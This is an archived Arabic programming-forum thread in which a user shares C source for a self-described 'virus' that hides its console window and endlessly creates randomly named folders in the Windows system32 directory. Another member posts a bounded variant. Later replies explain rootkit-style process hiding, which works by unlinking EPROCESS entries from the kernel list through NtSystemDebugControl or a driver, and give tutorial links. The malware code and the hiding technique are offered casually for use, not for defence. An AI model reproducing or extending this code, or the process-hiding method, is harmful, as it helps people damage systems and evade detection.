الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

فيروس HQDirMaker with C Language

بدأه The Hidden Ghost في 11 سبتمبر 2012 · 8 رد · 1,288 مشاهدة · في مشاريع ومسابقات القسم
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع
NogSa.png

اقتباس
قال بيل غيتس : ليس العيب في أن تقول لا أعلم ولكن العيب أن تقول أعلم وأنت لا تعلم ؛؛؛
اقتباس
وقال الشاعر : نعيب زماننا و العيب فينا ****** و ما لزماننا عيب سوانا

wacko.gif ، أحب أن أشارككم هذا الفيروس 051.gif البسيط والذي سيحبكم و ستحبونه

في هذه الأمسية السعيدة الهادئة الرائعة

بلا أدنى شك . بدون فلسفة في الحديث سأسهب في شرح الأسس التي يعمل على شاكلتها الفايروس tongue_smile.gif :

  1. استخلاص مسار تثبيت الويندوز .
  2. إضافة إسم مجلد جديد إلى هذا المسار
  3. تكرير الفعلة 003.gif إلى اللانهائية و ما بعدها (كرتون بظ يطير wub.gif)
  4. هذا كل شيء blink.gif

أنتظر تعليقاتكم على الكود البدائي 036.gif بفارغ الصبر والإصرار و الترصد 049.gif


/* My HQDIRMAKER Virus */

#include <stdio.h>
#include <windows.h> // for API functions
#include <time.h> // for rand()
#include <string.h> // for strcat()
#include <dos.h> // for mkdir()

main()
{
HWND HQDIRMAKER;
int x;
char Dir[100],Name[100];
system("title HQDirMaker"); // changing console title
HQDIRMAKER = FindWindow(NULL,"HQDirMaker"); // finding the window
ShowWindow(HQDIRMAKER,FALSE);// hide the console
while(1)
{
x=rand()%10000000; // obtain a random number
GetSystemDirectory(Dir,MAX_PATH);// get system directory (system32)
strcat(Dir,"\\\\HQDIRMAKER");// append new folder
strcat(Dir,itoa(x,Name,10)); // append a random number to new folder
mkdir(Dir);// make the new folder (empty folder)
}
}
/* HQ Dir Maker By Hamza Qdider */

1
rS3eY.png
#2

السلام عليكم

مرحبا أخي حمزة :)

.. ذكرتني بسابق عهدي مع الفيروسات و البرامج الخبيثة .. كنا نلعب معا آنذاك :D

بالنسبة للكود فقد أجريتُ عليه بعض التعديلات البسيطة نظراً لأسباب أمنية : :happy:

/* HQ Dir Maker By Hamza Qdider */
/* My HQDIRMAKER Virus */

#include <stdio.h>
#include <windows.h> // for API functions
#include <time.h> // for rand()
#include <string.h> // for strcat()
#include <dos.h> // for mkdir()

int main() {
    HWND HQDIRMAKER;
    int x;
    char Dir[100], Name[100];
    system("title HQDirMaker"); // changing console title
    HQDIRMAKER = FindWindow(NULL, "HQDirMaker"); // finding the window
    //ShowWindow(HQDIRMAKER,FALSE);// hide the console
    GetSystemDirectory(Dir, MAX_PATH); // get system directory (system32)
    puts(Dir);
    for (int i = 0; i < 10; i++) {
        x = rand() % 10000000; // obtain a random number
        strcat(Dir, "\\\\HQDIRMAKER"); // append new folder
        strcat(Dir, itoa(x, Name, 10)); // append a random number to new folder
        mkdir(Dir); // make the new folder (empty folder)
    }
    return 0;
}

لكن, عند تنفيذه أجد :

post-219439-084992500 1347319538_thumb.p

أعتقد أن الأمر يتعلق بصلاحية الوصول إلى ملف System32 (يلزمك تشغيل البرنامج بصلاحيات root)

المرفقات
progError.png
1
#3

أخي أحمد يعمل عندي الفيروس جيدا :)

rS3eY.png
#4

البرنامج يعلم بشكل ممتاز فى بيئة ويندوز أكس بي العادية ... وقد يكون هناك قصور امنية بالنسخة

لكن فى ويندوز سبعة تم تلافى هذة النواحي اﻻمنية وان ميكروسوفت تحاول وضع سيناريوهات ﻻنظار المتستخدم بأحتمال وجود عملية خبيثة.

1

post-15367-027053900%201340345097.gifpost-15367-087183200%201340344597.gif
post-247365-0-10080400-1379403554_thumb.

#5

على نظام xp

يمكنك استخدام NtSystemDebugControl للكتابة مباشرة على الـ kernelLand memory و اخفاء البورسس من قائمة المهام, لكن كن حذر قد تسبب كراش للنظام

[سبحان الله و بحمده, سبحان الله العظيم]

#6
اقتباس

البرنامج يعلم بشكل ممتاز فى بيئة ويندوز أكس بي العادية ... وقد يكون هناك قصور امنية بالنسخة

لكن فى ويندوز سبعة تم تلافى هذة النواحي اﻻمنية وان ميكروسوفت تحاول وضع سيناريوهات ﻻنظار المتستخدم بأحتمال وجود عملية خبيثة.

+1

اى تعديل على SYSTEMDRIVE فى win7 يحتاج الى التشغيل كمدير Run as administrator

تم تعديل هذه المشاركة بواسطة MOHAMED FATHEI في 11 سبتمبر 2012 في 11:00


﴿وَمَا كَانَ اللَّهُ لِيُعَذِّبَهُمْ وَأَنْتَ فِيهِمْ ۚ وَمَا كَانَ اللَّهُ مُعَذِّبَهُمْ وَهُمْ يَسْتَغْفِرُونَ﴾

الأنفال ۳۳                                  
 

#7
khatibe_30 كتب:

على نظام xp

يمكنك استخدام NtSystemDebugControl للكتابة مباشرة على الـ kernelLand memory و اخفاء البورسس من قائمة المهام, لكن كن حذر قد تسبب كراش للنظام

عمي ياسين laugh.gif ، رشني بمثال على هذا بلغة السي أو السي ++ أقصد كيفية اخفاء البورسس من قائمة المهام ....

أفض علي من معرفتك خوياsmile.gif

rS3eY.png
#8

ما شاء الله عليك يا حمزة ... هل وصل بك الملل إلى هذا الحد !! laugh.giflaugh.gif

قبل أن أنهي الشرح علمت أنه لن يعمل ... لأن البرامج العادية لا يُسمح لها بالكتابة داخل مجلد الwindows وتحديداً في system !!!

لكن السؤال الذي يطرح نفسه ...

كيف أجرب الكود وأتأكد من فعاليته التامة ... دون أن أؤذي الجهاز ...

وكملاحظة هامة : إن من أهم ميزات الفايروس ... أنه لا ينفذ خططه الشريرة فوراً ... بل يمر يمرحلة سبات ... ثم يقوم بالتغييرات القاتلة بشكل خفي ...

بارك الله فيك ... ننتظر منك مضاد فيروسات في المرة القادمة smile.gifsmile.gifwink.gif

#9
Hamza+C+ASM كتب:

عمي ياسين laugh.gif ، رشني بمثال على هذا بلغة السي أو السي ++ أقصد كيفية اخفاء البورسس من قائمة المهام ....

أفض علي من معرفتك خوياsmile.gif

ملخص الأمر هو أن كل بروسس يمثل في تركيبة EPROCESS, بحيث أن تركيبة أول بروسس موجودة في بداية KPCR (Kernel Processor Control Region)

البروسس الأول مترابط مع بقية البروسس, قائمة مترابطة ثنائية الاتجاه

P1<=>P2<=>P3<=>P4

ما تحتاج أن تفعله لإخفاء P2 هو ببساطة نزعه من القائمة لتصبح

P1<=>P3<=>P4

بهذا لن يظهر في التاسك مناجر

لكن العنوان KPCR موجود في منطقة الكرنل, و بما بروسس المستعمل يشتغل في user mode فلا يسمح لك بالوصول

للكتابة في منطقة الكرنل من الذاكرة, يوجد عدة طرق, منها استخدام DKOM, هنا شرح لاستعمال الدالة NtSystemDebugControl

http://www.ivanlef0u.tuxfamily.org/?p=21

وهذا مثال عن الاستعانة بـ kernel-mode device driver للقيام بالأمر

http://www.rohitab.com/discuss/topic/23880-dkom-process-hider/

1

[سبحان الله و بحمده, سبحان الله العظيم]

مواضيع مشابهة